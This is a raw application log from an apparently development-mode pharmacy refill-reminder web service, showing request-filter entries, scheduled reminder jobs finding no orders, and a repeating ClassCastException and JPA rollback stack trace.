URL:/ 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:41:40 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:41:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:42:00 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/lui/ 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:42:00 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:00 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:42:01 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/hub/ 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 01:42:01 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:42:01 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/struts2-showcase/showcase.action 2024-02-27 01:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:59:59 INFO successPOAExpiry:38 - .....AutoReminderForPOAExpiry Start..... 2024-02-27 01:59:59 INFO PatientProfileService:2275 - No folder associated to this campaign (System will return) 2024-02-27 01:59:59 INFO failedPOAExpiry:43 - There are no caretaker msg found. 2024-02-27 02:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:00:38 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:38 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:38 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 02:00:38 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 02:00:38 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 02:00:38 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:38 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:38 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/struts2-rest-showcase/orders/3 2024-02-27 02:00:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:39 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-27 02:00:39 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-27 02:00:39 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-27 02:00:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:39 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:00:39 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/orders/3 2024-02-27 02:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at 